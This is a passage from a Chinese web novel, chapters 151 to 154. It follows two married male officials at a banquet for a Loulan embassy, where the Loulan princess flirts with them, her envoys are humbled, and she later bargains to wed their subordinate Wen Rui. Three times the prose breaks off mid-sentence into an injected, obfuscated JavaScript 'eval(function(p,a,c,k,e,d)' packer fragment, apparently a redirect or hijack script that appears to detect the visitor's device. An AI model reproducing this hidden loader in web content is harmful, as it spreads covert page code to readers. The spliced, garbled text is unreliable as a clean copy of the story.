礼部尚书见他满脸诧异,笃定地点头:“没错,楼兰国师,鄯布丛明。” 燕修延唇瓣微微抽动,有些怀疑自己的耳朵:“鄯布丛明……这不就是‘不聪明’吗?” 额,长得是挺‘睿智’的。 燕修延默默转身回到自己的席位旁落座,侧头看向身侧神色淡然的谢伟恒,扯出一抹皮笑肉不笑的神情,咬牙低声道:“谢书令,样貌俊美、宛若天人?” 分明半点沾不上边,哪里有半分绝美风姿,这人哪里是素闻,根本就是刻意胡编乱造哄骗自己! 谢伟恒垂眸看着杯中清酒,闻言唇角悠然勾起一抹浅笑,语气平淡温和:“燕大人谬赞了。” 燕修延没好气地斜睨他一眼:“你少往自己身上揽,当我夸你呢?” 谢伟恒偏过头,眼底笑意缱绻温柔,坦然坦白:“早晨那些夸赞国师的话,是我故意诓你的。” 燕修延:……果然如此! 温热的手掌悄然覆上燕修延的手,谢伟恒十指相扣轻轻握住,俯身凑近他耳畔,温热气息拂过耳廓,嗓音低沉磁性,带着几分慵懒缱绻的深意:“我若是不用这般法子诓住燕大人,今夜若是你执意前去,我怕是要独守空榻、孤枕难眠了。” 燕修延心头一痒,皮笑肉不笑地回怼:“今夜你乖乖一个人打地铺,我好心给你多放两个软枕,这般便不算孤枕冷清了。” 谢伟恒敛去眼底笑意,眸光温柔缱绻,轻声回道:“若是如此,那便只好委屈燕大人,今夜同我一道下地铺相伴而眠了。” 燕修延白了他一眼,打个魂的地铺。 谢伟恒正欲开口,忽的脸上的笑意收敛殆尽,温润的眉眼瞬间覆上一层凛冽寒意,眸光冷沉锐利,直直看向对面使团席位之中。 使团之中,一名身着艳丽火红长裙的女子格外惹眼,衣裙剪裁大胆利落,露出纤细白皙的臂膀与盈盈纤腰,身姿妖娆曼妙。 此刻她正微微抬眸,一双明艳多情的眸子毫不避讳、肆无忌惮地落在燕修延身上,眼底带着浓烈的好奇与明目张胆的欣赏玩味,目光灼灼,片刻不肯挪开。 燕修延脸皮微微一僵,浑身不自在,连忙侧过头看向谢伟恒,急急解释澄清:“这事可跟我半点没关系,我从来不认识她,你可千万别胡乱吃味多想。” 谢伟恒抬手,从容不迫地将燕修延放在桌案上的手牢牢握住,指尖温柔摩挲着他的手背,面上笑意温和如常,语气平缓从容:“我自是信任哥哥的。” 此时,一舞毕,乐声停止。 谢伟恒说话时音量不算高昂,只是寻常交谈的声调,可二人身侧左右相邻席位的大臣,都听得一清二楚。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周遭邻近大臣听见二人一来一回的温和争辩,不由得发出善意轻快的低低笑声。 楼兰公主学了一些大虞言语,日常对话虽算不上流利顺畅,却也能听懂七八分席间话语。 她听明白众人所言,知晓自己看中心仪的这名俊美男子,早已与身旁那位肤色白皙、气质清隽看似柔弱的男子奉旨成婚、两两相守。 但那又如何? 她想要之物必要争取,何况她本就不愿被族人当做贡品,献给这位看着便风流多情的大虞皇帝。 若是主动招惹他,引得他身旁夫婿心生不悦、引得大虞皇帝心生隔阂忌惮。 大虞皇帝不会要自己的命,但肯定也不会再让自己进宫,两全其美。 这样就行了。 燕修延见楼兰公主目光始终黏在自己身上,心头愈发慌乱不安,连忙抬手扯了扯谢伟恒的衣袖,想要寻个合理借口,拉着人一同悄悄离席避开。 可楼兰公主动作比他更快一步,身姿窈窕摇曳,踩着妖娆妩媚的步子款款走来,腰间配饰叮叮作响,异域风情浓烈夺目。 她抬眸直直看向燕修延,眉眼明艳张扬,落落大方开口,带着西域女子独有的热烈直白:“我名鄯云帛月,你生得极好,容貌俊秀,我想与你共饮一杯美酒。” 楼兰大王子见状脸色骤然一变,情急之下也顾不得切换大虞官话,厉声呵斥:“Bekyue,sulakmarda,shurkertawes!” (翻译一下:帛月,不得无礼,速速回来落座!) 鄯云帛月全然置之不理,分毫未有退让之意,她知道自己生得明艳动人,也懂得利用自身容貌优势达成目的。 她微微俯身,柔软腰身弯折,冲着此刻刻意垂眸、不与自己对视的燕修延,扬起一抹风情万种的妩媚笑颜,语气带着几分刻意的娇嗔试探:“世人皆言,大虞最重礼仪风度,我诚心敬你,你为何,始终垂眸,不肯抬眼看向我?” 152. 当马球给打了! 燕修延索性两眼一闭,身子一软,毫无顾忌地径直倒在谢伟恒的腿上,温热的呼吸隔着衣料轻拂着对方的腰腹,双臂顺势一收,牢牢抱住谢伟恒的腰身,下一秒便毫无形象地张嘴扯呼,鼻息轻响,全然一副旁若无人的慵懒模样。 鄯云帛月将这一幕尽收眼底,一双潋滟的美眸里瞬间闪过毫不掩饰的不悦与愠怒。 她乃楼兰金枝玉叶的公主,容貌娇艳,身段婀娜,走到哪里不是众人追捧的对象。 可眼前这大虞的男子,竟全然将她视若无睹,满心满眼都只有身边那个看着文弱的白脸书生。 难不成大虞的男子,都偏爱这般硬邦邦的同性? 心中忿忿之际,鄯云帛月不经意间对上谢伟恒投来的目光,心头猛地一颤,后背竟莫名泛起一丝凉意。 眼前这个男人看着眉眼温和,面容清俊,周身气质温润无害,可垂落的眼眸里,却暗藏着深不见底的冷冽气势,似寒潭深涌,只淡淡一瞥,便带着让人不敢直视的压迫感,瞬间压得她呼吸一滞。 鄯云帛月咬住自己艳红饱满的下唇,缓缓抬起纤细白皙、戴着精致玉镯的玉手,指尖带着几分刻意的轻佻,朝着谢伟恒的脸颊探去:“你生得这般好看,倒也不比他差……” “他不是你能碰的,公主的手生得莹白好看,纤尘不染,若是断了,可就半点都不美了。” 原本窝在谢伟恒腿上闭眼扯呼的燕修延,骤然翻身而起。 哪里还有半分睡意,一双眼睛褪去所有慵懒,目光锐利如刃,冷冽的视线直直射向鄯云帛月,语气带着不容置喙的强势与护短。 谢伟恒垂眸,目光温柔地落在燕修延颈侧,指尖轻轻轻抚着他细腻的肌肤,语气里带着几分不易察觉的醋意,淡淡开口:“为何要夸她的手好看?” 燕修延抬手轻轻戳了一下谢伟恒的额头,眉眼弯弯,语气带着几分哄劝:“傻话,自然你最好看啦,别胡乱吃醋,乖。” 礼部尚书将这一幕看在眼里,一时玩心大起,学着燕修延的模样,伸出手指轻轻戳了一下吏部尚书的脸颊,眉眼带笑:“乖。” 吏部尚书猝不及防被他戳中,口中正含着一口酒水,当即抿紧了薄唇,绷紧了下颌线,好不容易才稳住心神,没让嘴里的酒液从嘴角漏出来,耳尖微微泛红,却只是无奈地瞥了身旁人一眼。 “呵。” 虞湘晔将这几番互动看得清清楚楚,当即忍不住低笑出声,语气带着几分戏谑,看向脸色一阵青一阵白的鄯云帛月:“鄯云帛月公主,本宫看你当真是眼瞎,居然偏偏看上了他们二人。” 今日这场宴席来的真值,李想称病推脱不来,她与李羽飞本就是抱着好奇之心,想来瞧瞧大虞朝堂的光景,看看传闻中的楼兰使者究竟是何模样。 没曾想竟能看到这般精彩绝伦的好戏。 楼兰使团的众人脸色早已铁青,一个个神色尴尬又恼怒。 楼兰大王子暗自庆幸,方才幸好没有贸然开口,说出要将公主献给大虞皇帝的话。 临行前国师再三叮嘱,让他根据大虞皇帝的态度,权衡楼兰可以让出的利益与贡品。 如今看来,当真是不该带着这个空有美艳容貌、却半点脑子都没有的蠢货前来,平白丢了楼兰的脸面! 他心惊胆战地偷偷抬眼往上瞥了一眼,见虞睿祥脸上并无恼羞成怒之色,这才稍稍松了口气,后背却早已惊出一层薄汗。 鄯云帛月接连碰壁,先是被谢伟恒的眼神震慑,又被燕修延冷言警告,如今还被长公主当众嘲讽,脸上瞬间挂不住,脸颊涨得通红,羞恼又委屈。 为了挽回自己最后的颜面,她梗着脖子,强撑着底气反驳:“眼瞎的,是他们,不识好歹!” 大虞皇帝居然一点都不生气?他难道猜不到,自己是楼兰准备献给他的人? 燕修延抬手,指尖轻柔地抚上谢伟恒的脸颊,故作迷茫地眯起眼睛:“谢书令,这天怎么忽然就黑了,我怎么看不清你的脸了?” “哈哈哈!” 虞睿祥当即放声大笑起来,笑声爽朗,传遍整个大殿。 殿内的大虞臣子们也纷纷会意,跟着哄笑出声,一时间大殿内笑声此起彼伏,气氛热闹至极。 唯独楼兰使团的一行人,脸色难看至极,一个个僵坐在原地,如坐针毡,半分笑意都挤不出来,只觉得周遭的目光都带着嘲讽,让他们无地自容。 鄯云帛月端起自己的酒杯,仰头将杯中烈酒一饮而尽,辛辣的酒液滑过喉咙,也压不下心头的屈辱与恼怒。 她狠狠放下酒杯,转身挺直脊背,径直走回自己的席位,不再多看燕修延与谢伟恒一眼。 礼部尚书看着她略显仓促的背影,压低声音,凑到吏部尚书耳边咬耳朵:“你看她刚才走路,腰肢扭得那般刻意,我都担心她下一秒腰就折了,没想到真惹恼了,倒也会好好走路啊。” 吏部尚书无奈摇头,夹起面前餐盘里一个肥嫩的鸡腿,直接塞进了礼部尚书嘴里,堵住了他的碎碎念,随即压低声音,语气严肃叮嘱:“大殿之上,君臣在前,还有外使在场,慎言。” 他知道楼兰此番费尽心思带来这般美艳动人的公主,绝非单纯赴宴交好,必定藏着联姻试探、笼络人心的心思,只是这番算计,如今尽数落了空。 鄯云帛月坐回席位,也懒得理会身旁脸色难看的大王子,下意识扭头看向吏部尚书的方向。 见他与礼部尚书挨得极近,举止亲昵,还时不时抬手给对方夹菜,默契十足。 看到这一幕,她心中最后一点傲气也瞬间泄了。 大虞到底是怎么回事?怎么这里的男子,都偏偏喜欢男子? 皇帝倒是喜欢女人…… 鄯云帛月瞥了眼高位上的虞睿祥,又看了看他身边站着的沈黎卿与叶凤,傲慢的撩起肩上的头发。 大虞的女子看上去一个个温婉规矩,平淡无趣,没滋没味。 她向来心高气傲,可不想留在这深宫之中,跟一群无趣的女人争一个男人。 “凤嫔姐姐。” 一旁穿着鹅黄色衣裙的嫔妃,悄悄用手肘碰了碰身侧的凤嫔,眼神示意她看向鄯云帛月的方向。 两人目光望去,正好撞上鄯云帛月投来的、带着不屑与傲慢的视线,那双明亮的大眼睛里,还翻了一个大大的白眼,满是对大虞嫔妃的轻视。 凤嫔却神色淡然,全然没放在心上,自顾自地拿起筷子,慢条斯理地品尝着面前的佳肴,举止优雅,神色平静,半点没有被对方的态度激怒。 那个嫔妃见凤嫔这般淡定从容,也收敛了神色,学着她的模样,眼观鼻鼻观心,安安静静地坐在原位用膳。 姿态要高,要表现的无所谓。 绝不能让这蛮夷之国的女子,小瞧了大虞后宫的气度。 虞睿祥莫名的很,方才他身边的嫔妃还一个个娇笑着,轮番给他喂酒、递吃食,殷勤又温柔。 怎么不过片刻功夫,一个个都端坐在席位上,神色冷淡,只顾着自己用膳,全然没了方才的热络? 恰好此时殿中歌舞声起,身姿曼妙的舞姬鱼贯而入,翩跹起舞,虞睿祥便索性专心欣赏起殿中歌舞,全程半句不提楼兰。 偶尔举杯饮酒,也只是与殿下的臣子们共饮,全程将楼兰一行人晾在一旁,视而不见。 楼兰使者团众人备受冷落,坐在席位上如坐针毡。 尤其是楼兰国师,连个正经的席位都没有,只能孤零零地站在一旁,脸色阴沉得能滴出水来,却又不敢有丝毫怨言。 兵部尚书起身,双手拢在身前,朝着虞睿祥躬身行礼,声音洪亮有力,传遍整个大殿:“启禀陛下,自陛下推行新政、仁政,每日前往军营想要参军入伍的百姓络绎不绝,登记名册都记不过来!” 虞睿祥脸上笑意愈发浓郁,语气愉悦:“既然如此,你便多加派些人手,妥善处理此事即可。” 兵部尚书满脸喜色,朗声应道:“回陛下,臣已将手头暂无紧急要务的下属,全数派去做征兵登记之事,定不会辜负陛下厚望!” “好好好!”虞睿祥连说三个好字,神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞睿祥神色平淡,缓缓端起面前的酒杯,对着鄯漠云舟王子轻轻一扬,语气疏离:“鄯漠云舟王子,贵国的心意,朕已然收到。这五百匹骏马,便当作是朕私下买下的,至于通商之谊,朕愿意与贵国建立。” 短短一句话,大王子瞬间听出了虞睿祥的言外之意。 大虞根本不接受楼兰的示好结盟,所谓买下马匹,便是明确拒绝了楼兰献上的美人与财宝,半点情面都不留。 羞恼与怒意瞬间涌上心头。 楼兰确实暗中派遣细作潜入大虞,可难道大虞就没有派人打探楼兰的虚实吗? 这般当众冷落,简直是把楼兰的脸面踩在脚下! 国师听出了虞睿祥话语里的不屑,清楚大虞是瞧不上楼兰的这点诚意。 他也深知大王子性格急躁,生怕他一时冲动说出惹怒大虞皇帝的话,抢先一步,上前对着虞睿祥恭敬行礼,语气谦卑:“尊贵的皇帝陛下,楼兰地处偏僻边陲,物产贫瘠,远不如大虞富饶,此番前来,我国是带着十足的诚意,一心想要与大虞交好。” 虞睿祥漫不经心地抬手,指尖轻轻敲击着桌面,嘴角勾起一抹似笑非笑的弧度,语气带着几分耐人寻味的强势:“朕,向来也是很有诚意的。” 宫人捧着一叠吏部尚书审问出来的供词,走到国师面前,将供词递到他手中,语气恭敬却带着不容拒绝的意味:“国师若是有看不明白的地方,奴才可以为国师一一解释。” 国师自然是看得懂的,接过供词低头细细翻看,纸上的字迹清晰,将楼兰暗中密谋、派遣细作、意图窥探大虞疆土的计划,记得一清二楚,一字一句都像重锤,狠狠砸在他的心上。 不过几眼,他的脸色便一阵白一阵青,变幻不定,握着供词的手忍不住微微颤抖,心底最后一丝侥幸也彻底化为乌有。 燕修延将国师的失态尽收眼底,偏过头,凑近谢伟恒耳边,用只有两人能听到的声音,轻声打趣:“他长得真的好圆,若是骑在马上,远远看去,怕是很容易被人误当成马球给打了,当真是有趣得很。” 153. 即将有媳妇的温瑞 楼兰大王子指节死死攥紧,掌心被指甲掐出几道深深的红痕,指骨泛着青白。 大虞皇帝不咸不淡的态度,像一根细针,狠狠扎在他高傲的自尊心上,那毫不掩饰的轻慢与俯视,让他只觉得浑身发烫,满心怒火直往头顶冲。 可眼角余光瞥见国师瞬间惨白如纸、阴沉得能滴出水的脸色,他胸腔里翻涌的怒意又不得不强行压下,喉结滚动了几下,终究是没敢发作。 国师此刻心头早已翻江倒海,满是难以置信的震骇与颓然。 他没料到大虞竟有这般手腕,悄无声息便将楼兰耗费数年心血安插在各处的眼线钉子连根拔起,一个活口都没留下。 这一记重击,直接打碎了他所有的底气与盘算,整个人瞬间垮了下来,再没了方才出使的从容与傲气。 “尊贵的皇帝陛下。” 国师再开口时,声音沙哑干涩,带着掩饰不住的疲惫与颓丧,朝着高位上的虞睿祥微微躬身。 这用燕修延的话来说,就像是被放了气的气鼓鱼,浑身的尖刺都软塌塌垂了下来。 国师深吸一口气,压下心头的不甘,继续说道:“我国是真心实意想要与大虞永结友好,互不侵犯。既然贵国看中了我国的战马,除了原先备好的五百匹,我国愿意再追加一千五百匹,共计两千匹良驹,另外再派遣十名经验丰富的马倌,一同前来大虞,悉心照料这些战马,确保马匹康健。” 席间一众大虞武将皆是眼前一亮,脸上忍不住露出惊喜之色。 与之形成鲜明对比的是,楼兰使团的众人,一个个脸色骤变,铁青一片,眼底满是震惊与不解。 两千匹战马,绝非小数目,几乎掏空了楼兰近半的战马储备,国师未经王廷商议,怎敢擅自做出这般离谱的许诺? 虞睿祥指尖轻轻摩挲着手中白玉酒杯,杯壁的凉意透过指尖传来。 他并未立刻应下,漫不经心地抬了抬眼,语气平淡却带着不容置疑的压迫感:“朕记得此番议和,国师便要留在大虞京城,不得返回楼兰。既如此,你的这般承诺,又能作数吗?” 一句话,精准戳中要害,国师脸色又是一僵,下意识转头看向身旁的大王子。 大王子心头一紧,脸上勉强挤出一抹僵硬的笑容,上前半步对着虞睿祥拱手道:“皇帝陛下放心,国师此番所言,完全可以代表我楼兰的心意,回国之后,我必定一字不差将国师的提议带回王廷,全力促成此事,绝无反悔。” 听到这话,虞睿祥脸上才终于褪去了那份疏离的敷衍,笑意真切了几分。 他缓缓端起面前的酒杯:“贵国的诚意朕收到了,至于后续具体事宜,改日再细细商谈,今日乃是为贵使团接风洗尘的宴席,诸位不必拘谨,请。” 见虞睿祥松了口,国师悬在半空的心终于重重落地,长长松了一口气,后背早已惊出一层冷汗,浸湿了内里的衣袍。 大王子也连忙端起酒杯,双手捧着,恭敬地朝着虞睿祥回敬,一饮而尽,以此掩饰心底的慌乱。 燕修延指尖轻轻蘸起桌案上微凉的酒水,在光滑的实木桌面上缓缓勾画着。 两千匹战马,往后繁衍,定然会产下无数优良小马驹。 他也不求多,先从中挑选出五百匹上等良驹,精心训练,打造一支重甲骑兵方阵。 日后上了战场,便是无坚不摧的先锋,能一举冲破敌军防线。 再精选三百匹身形敏捷、速度出众的战马,组成轻骑兵,灵活机动,专门负责迂回骚扰、突袭敌后,搅得敌军不得安宁。 这般光景,光是在脑海里想象一番,燕修延就觉得心头畅快。 只是他也清楚,这般计划想要落地,还要费不少周折,绝非易事。 宴席散场,燕修延心情大好,嘴里轻轻哼着不成调的小曲,自然地与谢伟恒十指相扣,两人并肩漫步在青石街道上,步调闲适默契。 楼兰使团一行人所居住的驿站,跟燕修延、谢伟恒归途同路。 鄯云帛月目光直直落在前方两道紧紧相牵的手上,秀眉微蹙,眼底闪过几分若有所思的复杂神色,脚步不自觉地慢了几分。 “还看!” 大王子心头火气顿起,快步上前一把拉住她,压低声音,用楼兰语厉声呵斥:“今天丢的人还不够吗?赶紧收敛心思!” (这作者就不用那反锁的楼兰话写了,因为作者也不知道咋写,嘻嘻) “我丢人?” 鄯云帛月猛地甩开他的手,嘴角勾起一抹冰冷的嘲讽,声音同样压得极低,却满是不屑:“我再丢人,也比不上你们这般卑躬屈膝、舔着脸求着大虞交好,来得丢人现眼!” 大王子脸色骤沉,下意识环顾四周,生怕这番争执被旁人听了去,落得更多笑柄。 他强压着心头怒意,咬牙低声道:“别忘了你此次跟随使团前来的任务!别因小失大!” “任务?” 鄯云帛月笑得越发讽刺,眼神里满是看透一切的漠然:“我记不记得,又有什么区别?收起你们那些痴心妄想吧,大虞之人个个精明,少把别人当成可以随意拿捏的傻子。” 她不愿再与大王子多言,裙摆一扬,快步朝着前方走去,只留下一个决绝的背影。 看着她离去的方向,大王子与国师对视一眼,两人脸色皆是黑如锅底,难看至极。 “我早就说过,不该带她一起来京城!” 大王子攥紧拳头,满心懊恼:“父王偏偏一意孤行,说她容貌出众,大虞皇帝见了必定会动心,能助我楼兰达成目的!” 可如今倒好,这女人不按常理出牌,放着目标大虞皇帝不去接近,反倒去勾搭一个已经成亲的朝臣。 方才在宴席上的举动,早已成了旁人眼中的笑料。 这哪里是她一个人的丢人,分明是把整个楼兰的脸面都丢在了大虞的土地上! 鄯云帛月快步前行,目光紧紧锁定前方那道牵手同行的身影。 身后的大王子看着她这般执迷不悟的模样,眼神冷了下来,恶狠狠地咬牙自语:“S???e?emi?k?lyāntu,y?pk?lymāssu,k???its?rkāmpālyāntu,w?s?pā?tsiklālyāntu!” (翻译:既然她不知好歹,那就让她继续去碰钉子,最好碰得一头包,彻底死心!) 燕修延与谢伟恒并肩走着,早已敏锐察觉到身后越来越近、带着刻意的脚步声。 两人对视一眼,眼底闪过一丝默契,不动声色地齐齐往左一拐,转入一旁的小巷之中。 鄯云帛月想也不想便跟着拐了进去,脚下步伐加快,可七拐八绕之后,眼前只剩下幽深的巷道,方才那两道身影竟彻底没了踪迹。 “人呢?” 她驻足在巷子口,眉头紧蹙,探头朝着昏暗的巷子里四处张望,明明亲眼看着两人走进来,不过转瞬功夫,怎么连个影子都寻不到了? 此时,燕修延与谢伟恒早已纵身跃至一旁的屋顶,稳稳蹲在檐角之上,隐匿在夜色里。 燕修延低头,对着暗处负责盯梢鄯云帛月的温瑞打了个利落的手势。 温瑞转身花一个铜板,从路边路过的小姑娘手中买下一篮鲜花,随手叼了一朵在嘴边,理了理衣袍,故作风流倜傥之态,快步走到鄯云帛月身后,声音刻意放得深情款款:“姑娘,怎会独自一人在此徘徊?” 燕修延:…… 真想把温瑞的脑子撬开,看看里面到底装了些什么乱七八糟的东西。 他明明是让温瑞正经行事,把人引进去盘问,这小子倒好,搞起了这般轻浮的做派。 鄯云帛月被突然响起的声音吓了一跳,猛地转身,映入眼帘的是一个身材颀长、样貌堂堂的男子,嘴里叼着花,手里还提着一篮鲜花。 举止神态怎么看都透着一股不太聪明的憨傻劲儿。 大虞的男子,竟会当街卖花? 鄯云帛月眼底掠过一丝毫不掩饰的鄙夷,懒得与他纠缠,侧身便想绕过温瑞,走出巷子。 “姑娘别走啊。” 温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“出息,手里握着那么多俸禄,请姑娘吃东西,就只想到红油抄手。” 燕修延随手从温瑞手中的花束里,抽出一朵开得娇艳的粉色花朵,转身递到谢伟恒面前:“粉色衬你,好看。” 温瑞一脸痴傻地盯着鄯云帛月,听到这话,脸上的笑容瞬间僵住,立马收敛了所有轻浮的神态,一秒变得正经起来:“头儿,我这出来着急,身上没带多少银两,要不你先借我点?不然这抄手都请不起了。” 这番突如其来的转变,让鄯云帛月猛地回头,这才发现巷子里竟多出来两个男子,一抬头便对上燕修延似笑非笑的眼眸。 她心头瞬间一紧,警惕心骤起,下意识后退一步,与三人拉开距离。 这条巷子幽深僻静,两侧高墙耸立,平日里鲜有路人经过,此刻更是寂静无声,叫天天不应,叫地地不灵。 她强压着心底的慌乱,努力挺直脊背,扬起下巴,故作强硬地开口:“我乃公主,你们若是敢伤我,否则……” “否则楼兰会联合其他国家对大虞动兵?” 燕修延像是听到了什么天大的笑话,语气满是不屑与嘲讽,他单手随意搭在谢伟恒的肩膀上,眼神冷冽地看着她:“楼兰既然把你当作棋子献到大虞来,就从来没在意过你的死活。你这份所谓的公主身份,在我面前,半分威胁都没有。” 一字一句,精准戳中鄯云帛月心底最痛的地方,她瞬间咬紧下唇,眼底闪过一丝难以掩饰的屈辱与不甘,却偏偏无力反驳。 温瑞看着她这般模样,终究是心软。对着燕修延小声劝道:“头儿,对人家女孩子,说话别这么刻薄嘛,怪伤人的。” 燕修延翻了个白眼,没好气地瞪了他一眼,又看向鄯云帛月,语气里带着几分愠怒:“我刻薄?你倒是问问她,方才在宴席上,当着那么多人的面,意欲伸手触碰谢伟恒,那般无礼举动,可曾有过半分分寸!” 154. 着实为难凤嫔了 温瑞吓的手上的花都拿不稳了,他整个人僵在原地,抬手指着鄯云帛月:“你你你……” “你”了半天,你不出来个所以然来,就憋出来一句:“好汉!” 燕修延站在一旁看着自家手下这副没出息的模样,嘴角狠狠抽了抽,眼底满是恨铁不成钢的沉痛,抬手重重拍了拍温瑞的肩膀,那力道沉得让温瑞踉跄了一下。 他在心里默默叹气,自家这个傻下属,这辈子怕是半点姻缘都指望不上了,索性开口打趣道:“好好对南宫,回头过继他和语秋的孩子给你养老,也算是有个依靠。” 这话像是踩在了温瑞的尾巴,他瞬间炸了毛,语气又急又气,满是抗拒:“不可能!南宫那卷毛狗休想娶我妹妹!” 燕修延懒得跟他瞎闹,看着他这副咋咋呼呼的样子,眉头一皱,直接抬脚不轻不重地踹在他后腰上,把人踹到一边,看向鄯云帛月:“你不想进宫。” 不是疑问,是肯定的陈述。 鄯云帛月眼底飞快闪过一丝慌乱,随即又被浓艳的媚笑掩盖,她眼波流转,纤手轻轻抚过鬓边发丝,声音娇柔婉转:“我不明白这位大人的意思,谁不想嫁给大虞的皇帝,享受荣华富贵,坐拥无上尊荣呢?” “是嘛,那就没得谈了。” 燕修延懒得再跟她虚与委蛇,干脆利落的伸手揽过谢伟恒的肩膀,转身便朝着巷子口迈步离去,没有丝毫留恋。 温瑞站在原地,抱着怀里剩下的花束,左看看快步离去的燕修延和谢伟恒,右看看神色莫测的鄯云帛月,压低了声音:“其实你应该跟头儿说实话的,他从不说没把握的话,瞒也瞒不住。” 说完,他不再多留,立马转身,快步追上燕修延的脚步,跟在两人身后。 鄯云帛月抱着怀里的鲜花,指尖摩挲着柔软的花瓣,心头闪过无数个念头。 终究是咬了咬牙,扬声开口,叫住了已经走出十米开外的三人:“等一下!” 温瑞最先停下脚步,眼睛亮晶晶地看向燕修延:“头儿,她要招了!肯定是有话要说!” 燕修延慢悠悠地转过身,身姿挺拔,眉眼冷冽,淡淡开口:“你想说什么?” 鄯云帛月深吸一口气,抬手指着一旁的温瑞,眼神坚定,没有丝毫犹豫:“你帮我嫁给他,我告诉你国师他们想要做什么,所有的阴谋,我全都一字不差地告诉你们。” 温瑞呆立在原地,眼睛瞪得溜圆,嘴巴微张,一脸不敢置信,仿佛被雷劈中了一般,整个人都懵了,脑子里一片空白,完全没反应过来这突如其来的变故。 燕修延也同样愣住了,转头看向谢伟恒,眼神里满是震惊与诧异,伸手拍了拍谢伟恒的胳膊:“谢书令你可以啊,能掐会算?这也是跟你那个做道士的叔叔学的本事?” 谢伟恒眉眼温柔,嘴角噙着淡淡的笑意,轻轻摇了摇头:“我刚才不过随口一说,没想到竟真的应验了。” 燕修延忍不住连连感叹,上下打量着谢伟恒,满脸佩服:“神了,你真的神了,简直是活神仙!” 鄯云帛月眼角余光瞥见大王子的身影出现在巷子口,她心头一紧,脸上瞬间又挂上了往日那般明艳魅惑的笑容,压低声音语气飞快道:“让我嫁给他,搬出驿馆,摆脱楼兰的人,我知道的事情全部告诉你们,绝不隐瞒!” 她也是被逼得没有办法,眼前这个送花的男人样貌周正,虽然一副不太聪明的样子,衣着也朴素看着家境不算顶尖,想来应该不会太花心吧? 燕修延看着她眼底的决绝,略一思索,没有丝毫拖泥带水,径直吐出两个字:“成交。” 话音落下,他便再次搂着谢伟恒的肩膀,转身往外走去,步伐从容。 与迎面走来的楼兰大王子擦身而过。 燕修延面色瞬间变得冰冷刺骨,周身气压骤低,语气带着浓浓的警告:“还请大王子管好贵国公主,这里是大虞的京城,不是你们楼兰国境,容不得你们肆意妄为!” 温瑞快步跟上前,路过楼兰大王子时特意停下脚步,仰着下巴对着他重重冷哼一声,满脸不屑,随后才屁颠屁颠地跟上燕修延的脚步。 出了巷子确认四周无人之后,温瑞身形一跃,身手矫健地跃上旁边的墙头,蹲在墙头上,轻手轻脚地躲在暗处,目光紧紧盯着巷子里的动静。 大王子快步走到鄯云帛月面前,脸色阴沉得能滴出水来,用晦涩难懂的楼兰话,语气刻薄地冷嘲热讽:“Nashiterkhuramosht,zhoparimshurjevanmargh,eshkholamnar!” (“和你那个下贱的阿母一样,天生就喜欢往别人家的男人身上贴,毫无廉耻!”) 鄯云帛月脸色瞬间冷了下来,扬起精致的下巴,眼底满是傲气与嘲讽,抱着胳膊,径直绕过大王子,语气同样刻薄尖利,毫不示弱地回怼:“Tumyo?sūryo?,Mānāki?k?etra?parakum,garbhi?ī?rāj?ī?vi?e?asamutkhāta,tapyo?sneha?parisphurita?,rājaputraprathamasthāna?tavapratiāpanna.E?ku?ala?pāpa?,katha?bravī?i?” (你阿母高贵,她背地里毒杀了怀有身孕的王后,费尽心思才为你谋取到大王子的位置,这般阴毒手段,也好意思拿出来说?”) “tú!” (“你!”) 大王子被戳中痛处,气得脸色铁青,怒目圆睁,抬起手就要朝着鄯云帛月的脸上扇去。 温瑞指尖飞快弹出一粒细小的石子,精准地打在大王子抬起的肘部。 剧烈的酸麻胀痛瞬间涌上大王子的手臂,他疼得脸色惨白,捂着胳膊肘,蹲在地上嗷嗷直叫唤,再也没了刚才的嚣张气焰。 温瑞悄悄从墙头上露出一个脑袋,对着鄯云帛月挑了挑眉:未来媳妇儿,别怕,我护着你! 鄯云帛月看着墙头上那个傻气又认真的脑袋,心头一动,一股前所未有的感觉悄然涌上心头。 轻轻的、软软的,心情十分轻快。 燕修延走在路上,眉头紧紧拧成一团,满心疑惑,怎么也想不通刚才的事。 “我知道她想找个人摆脱楼兰王室的控制,可,她也太随意了吧?” 他对自己手下十分了,论人品,温瑞肯定是极好的。 论脑子,就…… 额。 时而灵光一闪,时而傻得冒泡。 谢伟恒低头嗅了嗅手中的小花,花香清雅,他嘴角噙着温柔的笑意,缓缓开口:“温瑞看似不靠谱,但应该是一个适合携手过安稳普通日子的人,对鄯云帛月而言未必不是最好的归宿。” 燕修延仔细想了想,点了点头:“说的也是。” 单是温瑞这些年攒下的俸禄和赏赐,就算是娶个花钱大手大脚的媳妇,一辈子挥霍也绰绰有余。 转念一想他又开始忧心忡忡,满脸担忧地看向谢伟恒:“你说鄯云帛月会不会是骗咱们,等嫁给温瑞拿到他的钱财,就卷款跑路,然后天南海北独自潇洒去——你笑什么? 谢伟恒笑吟吟地看着他,眼底满是宠溺,缓缓问道:“燕大人,知道你现在这样像什么吗?” “像什么?你说说看!” 燕修延收敛担忧的神色,抬手撸起了袖子,一副气势汹汹的样子,大有谢伟恒敢说不好听的,就当场动手的架势。 谢伟恒忍不住轻笑出声,语气带着几分打趣:“像为自家傻儿子操心一辈子、事事都要盘算的老父亲。” “你说谁老?” 燕修延不乐意了,抬手轻轻敲了一下谢伟恒的肩头,佯装生气地放狠话:“今晚你睡地上,别想上床!” 